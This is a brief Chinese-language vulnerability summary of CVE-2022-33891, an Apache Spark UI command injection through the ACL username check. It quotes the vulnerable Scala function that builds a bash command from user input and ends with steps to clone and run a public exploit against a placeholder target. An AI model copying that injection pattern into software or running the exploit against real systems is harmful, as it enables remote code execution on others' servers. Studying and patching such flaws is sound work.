Apache Spark UI 提供了通过配置选项 spark.acls.enable 启用 ACL 的可能性。配合身份验证过滤器,该功能会检查用户是否具有查看或修改应用程序的访问权限。如果 ACL 已启用,HttpSecurityFilter 中的某条代码路径可能允许攻击者通过提供任意用户名来执行冒充操作。恶意用户随后可能能够访问一个权限检查函数,该函数最终会根据其输入构建一个 Unix shell 命令并执行它。这将导致以 Spark 当前运行的用户身份执行任意 shell 命令。此漏洞影响 Apache Spark 3.0.3 及更早版本、3.1.1 至 3.1.2 版本以及 3.2.0 至 3.2.1 版本。
private def getUnixGroups(username: String): Set[String] = {
val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
// we need to get rid of the trailing "\n" from the result of command execution
Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
}

pip install requests
git clone https://github.com/AmoloHT/CVE-2022-33891
cd CVE-2022-33891
python3 CVE-2022-33891.py -u http://TARGET.TLD